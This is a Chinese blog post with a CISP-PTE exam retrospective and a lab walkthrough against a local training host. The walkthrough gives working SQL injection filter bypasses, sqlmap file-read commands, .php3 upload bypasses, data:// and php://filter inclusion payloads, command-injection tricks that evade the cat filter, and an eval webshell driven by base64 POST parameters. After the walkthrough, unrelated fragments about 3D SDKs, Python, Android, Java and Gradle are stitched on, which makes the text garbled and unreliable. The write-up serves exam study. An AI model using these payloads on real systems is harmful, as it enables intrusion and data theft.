文章目录
最近已经考完PTE的考试了,总体来说,难度较大,对于我学渗透测试快一年来说,基础还算不错的,但是最后还是因为没有接触过一些新题型,导致最后的key没有做出来,不过最后还是加上选择题的分数,刚刚过的,今天,我给大家总结一下,在培训过程中讲的第一套题的新的解题方法。希望对以后有需要考PTE的同学有帮助,后续会讲第二套和综合题的解法,大家好好复习一下哈。
CISP-PTE的考试圆满的结束了,考试难度的话,选择题比较简单,当基础题SQL注入比较难,是个登录系统,用弱口令,万能密码,都不能登录进去,因为答案的key就在根目录下,用sqlmap去读文件的时候,也跑不出来,就放弃了。然后把其余4道都写了,都比较简单,不是很难。但是综合题真的很难,考的是Linux环境下的综合题,考试预测可能是win2008或者Linux的环境,但是刚好那天我们是分批考的,上午考的Linux,下午考的是win2008的环境,所以我做的时候非常痛苦,硬着头皮把前两个key拿到就跑路了,第一个key是连接数据库后,修改网站后台密码,登录进去得到的key。第二个就是通过文件包含和伪协议base64编码得到的,第三个就是的key蚁剑连接在key目录下,进行提权才可以拿到,最后因为蚁剑怎么都传不上去,就放弃了。所以就拿到两个key,就跑路了。最后就是选择题比较简单,拿到了17分。总体就是,最后拿到了6个key+17分,低分飘过了。实在是实属不易啊,最后,会开始着手软考信安方向的复习了。以后,如果比毕业工作了,有经济的话,会继续考虑一些信息安全方面的证书的。听老师说,逆向方面的工作挺不错,不过要学好汇编才行,以后如果有时间的话,会好好学一下逆向方面的知识,多一条技术,为以后工作多一条出路,大家趁大学时候,抓紧学习,增强自己的实力呀,为以后就业有更好的铺垫。好了,考试的情况就跟大家讲到这里了,以后有机会的话,会跟大家分享更多考试相关的经验和渗透相关的知识哈。下面是我在实操练习中对之前的套题做一次新的讲解,知识点会更全面,对考试都会有帮助的。

我们进入答题,通过提示,答案就在这个/tmp/360/key路径下
http://192.168.230.131:81/vulnerabilities/fu1.php?id=1
标题中有提示注入的地方,id号有存在括号注入,我注入的时候就要加上括号
select * from article where id= (‘1’)
我们在后面加上’),发现报错
http://192.168.230.131:81/vulnerabilities/fu1.php?id=1’)

没有回显,在加上单引号,出现了回显

说明存在SQL注入,我们在看看是否存在过滤点,当我们判断地段个数时,注入以下语句时
http://192.168.230.131:81/vulnerabilities/fu1.php?id=1’) order by 4–
回显出这个语句,说明空格被过滤了
select * from article where id= (‘1’)orderby4–‘)

我们用注释符将空格进行绕过,将后面(-- )换成#进行绕过


没有回显,说明#号也被过滤了,我们在修改为base64编码进行绕过试试,修改为以下语句


发现报错了,可能不是这个字段数,修改为4时


发生了回显,说明存在4个字段,先绕过了,我们用联合查询,查一下数据看看


报错,且没有显示union字段,说明union关键字被过滤了,我们双写进行绕过试试


回显成功了,绕过成功了,我们将id=1赋值为id=-1进行报错,回显看看


2,3,4是回显位置,我们用位置(2)进行注入看看,这里用到读文件的函数load_file(’/tmp/360/key’)


回显成功了,得到key就是key:8b3h4a7v。这道题主要是过滤了空格和注释符#的过滤,以及union关键字的过滤。
当然,此题,也可以用sqlmap去解。直接调用–file-read,和tamper脚本进行读文件就可以了。
我们打开sqlmap,写入一下语句执行
python sqlmap.py -u “http://192.168.230.131:81/vulnerabilities/fu1.php?id=1” --file-read=/tmp/360/key --tamper “space2hash.py” -level 3 -batch


读到的key文件就在图中黄色的路径中了,我们只需要去查看就可以了,找到当前w文件的路径
C:\Users\CISP-PTE\AppData\Local\sqlmap\output\192.168.230.131\files


我们就拿到key了。
(1)http://192.168.230.131:82/vulnerabilities/fu1.php

我们进入答题

我们在桌面新建一个包含读文件代码的图片,进行上传
GIF89a


打开代理,利用burp进行抓包上传

发送到reperter,修改后缀名为.php,进行重发

发现没有上传成功,说明php内过滤了,我们双写或改成.php3绕过试试

修稿为.php3之后,上传成功了,我们查看一下文件试试
http://192.168.230.131:82/vulnerabilities/b.php3

我们打开源代码看看

我们就拿到了key:8t5s0x5t。
这里我总结几种读文件的方法给大家:
<?php readfile('../key.php');?> <?php highlight_file('../key.php');?> <?php echo file_get_contents('../key.php');?>这里还有一种解法,就是写一句话木马在文件中,然后上传,用蚁剑连接,查看根目录下的key文件就可以了,这里就不介绍了,大家可以尝试一下。
http://192.168.230.131:83

进入答题后
http://192.168.230.131:83/vulnerabilities/fu1.php?file=view.html

看到文件包含漏洞,我们首先想到的是伪协议是否能读出来,还有base64编码是否可以,以及远程包含上一题中文件上传时的照片,都试一下各个方法是否行的通。
答案就在根目录下,我们直接构造语句就可以了,就是在…/key目录下,首先我们利用伪协议试试
data:/text/plain,<?php readfile('../key.php');?>
http://192.168.230.131:83/vulnerabilities/fu1.php?file=data:/text/plain,<?php readfile('../key.php');?>

右键查看我们源码即可

我们成功拿到了key:6u3x9t2p。
类似的
我们可以使用以下伪协议:
data:text/plain,<?php readfile('../key.php');?>
data://text/plain,<?php readfile('../key.php');?>
data:,<?php readfile('../key.php');?>
(2)还有php://input方法,我们进行抓包,在file那里输入php://input和在get请求下面输入读文件的代码,就可以直接读出key了

(3)还有一种方法就是进行base64编码进行读文件
php://filter/convert.base64-encode/resource=…/key.php
http://192.168.230.131:83/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=…/key.php

我们读到了一段base64的编码
R2V0IGl0IQ0KPD9waHANCg0KLy9rZXk6NnUzeDl0MnANCj8+
通过解码之后,为以下语句
Get it!
我们就得到了key:6u3x9t2p。
(4)此题还有另一种解法,就是进行远程文件包含,而且是包含上一题的图片文件
http://192.168.230.131:83/vulnerabilities/fu1.php?file=http://192.168.230.131:82/vulnerabilities/b.php3

我们也找到了key:8t5s0x5t。
http://192.168.230.131:84

我们进入答题
http://192.168.230.131:84/vulnerabilities/fu1.php

我们来测试一下管道符哪个被过滤了&,|,;三个管道符测试了之后都没有显示错误,说明都没有被过滤,都测试了之后,都没有报错,说明都没有被过滤
我们直接读取文件
| cat …/key.php

发现cat被过滤了,我们用特殊符号绕过一下,输入| c’a’t …/key.php


我们右键查看源码

我们就拿到了key:3s9j6c2k。我们还可以用tac来读取文件。


直接就读到key了。
我给大家总结了读文件的命令:
cat more less head tail sort tac vi vim nl od xxd cp awk nano curl
危险函数
system()
exec()
passthru()
shell_exec
pcntl_exec()
preg_replace()
解题方法:
&head …/key.p?p–右键–查看源码
&od -c …/key.p?p
3.绕过cat检测
a.? 任意单个字符
&/bin/c?t …/key.p?p-查看源码
b.* 任意长度的字符
&/bin/c*t …/key.p?p
c.单引号
&/bin/c’a’t …/key.p?p
d.双引号
&/bin/c"a"t …/key.p?p
e.
&/bin/c\a\t …/key.p?p
f:赋值
&a=c;b=at;
a
a
ab …/key.p?p
过滤cat:php cat–绕过
&/bin/c"a"t …/key.p?p
http://192.168.230.131:85/

http://192.168.230.131:85/access.log

我们先查127.16.12.12的地址,在查看返回200状态码的地址,我们按Ctrl+F键进行搜索


我们找到这个文件进行打开登录

会出现这个登录页面

我们进行账号和密码爆破,我们使用两个账号和密码字典进行爆破,得到账号和密码是:admin,password123


我们就拿到了key:9y6u8s5m。
http://192.168.230.131:83/vulnerabilities/fu1.php?file=code.html
我们查看一下源代码
http://192.168.230.131:83/vulnerabilities/code.html


提交方法:get
参数:cmd
长度小于等于30
执行:exec 没有回显
&cmd=echo “<?php eval($_POST['a']);?>”>a.php
由于长度限制是30,所以无法写入一句话
我们可以使用重定向到a.txt文件,然后打开a.txt文件进行查看内容。
http://192.168.230.131:83/vulnerabilities/fu1.php?file=code.html&cmd=ls …/>a.txt
我们查看a.txt文件查看
http://192.168.230.131:83/vulnerabilities/a.txt

我们查看key.php文件的内容
http://192.168.230.131:83/vulnerabilities/fu1.php?file=code.html&cmd=cat …/key.php>a.txt

我们就拿到了key:6u3x9t2p。
http://192.168.230.131:83/vulnerabilities/fu1.php?file=view1.html

我们查看一下源码
http://192.168.230.131:83/vulnerabilities/view1.html


在这里我们可以看到有一个经过base64编码的一句话,我们先来j解码看看是什么先
W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=
解码后:[@eval(base64_decode($_POST[z0]));]
发现是一句话
我们用蚁剑连接看看,密码是z0

这里提示z0不能是密码

我们看一下源码中的@$a = $_POST[‘Hello’]; ,是要提示我们用也可以用Hello进行登录,我们在试试。
这里由于环境的问题,是连接不上去的,当我们可以采用另一种方法,用post方法提交试试。
我们提交参数,进行赋值,查看一下根目录的文件有哪,输入一下语句:
Hello=a&z0=system(‘ls …/’);
再对z0后面的语句进行编码
Hello=a&z0=c3lzdGVtKCdscyAuLi8nKTs=

有key.php文件,我们查看一下
Hello=a&z0=system(‘cat …/key.php’);
编码后:
Hello=a&z0=c3lzdGVtKCcuLi9rZXkucGhwJyk7

右键查看源码即可

我们就拿到了key:6u3x9t2p。
在这里我们就讲解完了第一套题了,另外多了两套代码审计的题,作为扩展练习,大家可以看一下,篇幅有点长,几乎把每道题说设计的知识点都讲的很详细了。接下来会讲解第二套题,也是历年考试考过的题目,大家好好复习一下。
无论您是想搭建桌面端、WEB端或者移动端APP应用,HOOPSPlatform组件都可以为您提供弹性的3D集成架构,同时,由工业领域3D技术专家组成的HOOPS技术团队也能为您提供技术支持服务。如果您的客户期望有一种在多个平台(桌面/WEB/APP,而且某些客户端是“瘦”客户端)快速、方便地将数据接入到3D应用系统的解决方案,并且当访问数据时,在各个平台上的性能和用户体验保持一致,HOOPSPlatform将帮助您完成。利用HOOPSPlatform,您可以开发在任何环境下的3D基础应用架构。HOOPSPlatform可以帮您打造3D创新型产品,HOOPSSDK包含的技术有:快速且准确的CAD
1.问题描述使用Python的turtle(海龟绘图)模块提供的函数绘制直线。2.问题分析一幅复杂的图形通常都可以由点、直线、三角形、矩形、平行四边形、圆、椭圆和圆弧等基本图形组成。其中的三角形、矩形、平行四边形又可以由直线组成,而直线又是由两个点确定的。我们使用Python的turtle模块所提供的函数来绘制直线。在使用之前我们先介绍一下turtle模块的相关知识点。turtle模块提供面向对象和面向过程两种形式的海龟绘图基本组件。面向对象的接口类如下:1)TurtleScreen类:定义图形窗口作为绘图海龟的运动场。它的构造器需要一个tkinter.Canvas或ScrolledCanva
技术选型1,前端小程序原生MINA框架cssJavaScriptWxml2,管理后台云开发Cms内容管理系统web网页3,数据后台小程序云开发云函数云开发数据库(基于MongoDB)云存储4,人脸识别算法基于百度智能云实现人脸识别一,用户端效果图预览老规矩我们先来看效果图,如果效果图符合你的需求,就继续往下看,如果不符合你的需求,可以跳过。1-1,登录注册页可以看到登录页有注册入口,注册页如下我们的注册,需要管理员审核,审核通过后才可以正常登录使用小程序1-2,个人中心页登录成功以后,我们会进入个人中心页我们在个人中心页可以注册人脸,因为我们做人脸识别签到,需要先注册人脸才可以进行人脸比对,进
一、相关网址1、官网(可以下载,查看文章)https://skywalking.apache.org/downloads/2、github地址:(可提问题寻求帮助)https://github.com/apache/skywalking二、 实验环境操作系统 centos7.9先安装好 elasticsearch7.16.2操作系统安装好jdk8-17,实验机器jdk11java下载地址:https://www.oracle.com/java/technologies/downloads/#java8IP地址为192.168.24.160三、安装skywalking 1、下载skywalkin
所以我从维基百科上抓取了这段ruby代码并做了一些修改:@trie=Hash.new()defbuild(str)node=@triestr.each_char{|ch|cur=chprev_node=nodenode=node[cur]ifnode==nilprev_node[cur]=Hash.new()node=prev_node[cur]end}endbuild('dogs')puts@trie.inspect我首先在控制台irb上运行它,每次我输出node时,每次{}都会给我一个空哈希值,但当我实际调用时该函数使用参数'dogs'字符串构建,它确实有效,并输出{"d"=>
运行有问题或需要源码请点赞关注收藏后评论区留言一、利用ContentResolver读写联系人在实际开发中,普通App很少会开放数据接口给其他应用访问。内容组件能够派上用场的情况往往是App想要访问系统应用的通讯数据,比如查看联系人,短信,通话记录等等,以及对这些通讯数据及逆行增删改查。首先要给AndroidMaifest.xml中添加响应的权限配置 下面是往手机通讯录添加联系人信息的例子效果如下分成三个步骤先查出联系人的基本信息,然后查询联系人号码,再查询联系人邮箱代码 ContactAddActivity类packagecom.example.chapter07;importandroid
各位朋友们,大家好啊,今天我要分享的是关于文件操作方面的知识。文章目录为什么会有文件操作什么是文件文件操作文件指针文件的打开与关闭fopen(打开文件)fclose(关闭文件)打开文件的方式文件的顺序读写fgets函数fputc函数fgets函数fputs函数fprintf函数fscanf函数文件的非顺序读写fseek函数ftell函数rewind函数二进制读写fwrite函数`fread函数结语为什么会有文件操作那么大家可能会问:为什么会有文件操作呢?前面我们可能都了解了通讯录,我们知道当我们使用通讯录的时候我们可以添加联系人,也可以删除联系人,但是当我们退出程序之后下次再进来的时候,我们要
前一段时间由于工作需要把可爱的小雪狐舍弃了,找到了小蜜蜂。但是新版本的小蜜蜂出现了很多和旧版本不一样的位置。1.功能位置迁移,原来在工程build.gradle的buildscript和allprojects移动至setting.gradle并改名为pluginManagement和dependencyResolutionManagement。里面的东西依旧可以按照原来的copy过来。pluginManagement{repositories{gradlePluginPortal()google()mavenCentral()}}dependencyResolutionManagement{r
目录一.逻辑控制+方法1.java输入2.循环输入3.switch4.循环结构 5.三种输出6.java生成随机数7.java方法二.习题+方法21.返回二进制中1的个数2.获取一个二进制序列中的偶数位和奇数位,分别输出二进制序列3.JAVA比较字符串是否相同4.牛客网ACM书写格式5.方法的重载一.逻辑控制+方法1.java输入注意大小写!下面代码会出现什么问题??2.循环输入Ctrl+D结束循环输入3.switch面试问题:不能做switch()参数的类型有哪些?longfloatdoubleboolean(其他的都可以)4.循环结构 continue该程序运行的结果是什么??5.三种输出
【保姆级】Python最新版开发环境搭建,看这一篇就够了(适用于Python3.11.2安装)文章目录【保姆级】Python最新版开发环境搭建,看这一篇就够了(适用于Python3.11.2安装)一、Python解释器安装Windows安装步骤环境变量配置(非必要)MacOS安装步骤Linux安装步骤二、PyCharm安装三、创建Python工程工欲善其事必先利其器,在使用Python开发程序之前,在计算机上搭建Python开发环境是必不可少的环节,目前Python最新稳定版本是3.11.1,且支持到2027年,如下图所示本文手把手带你从0到1搭建Python最新版3.11.1开发环境,堪称保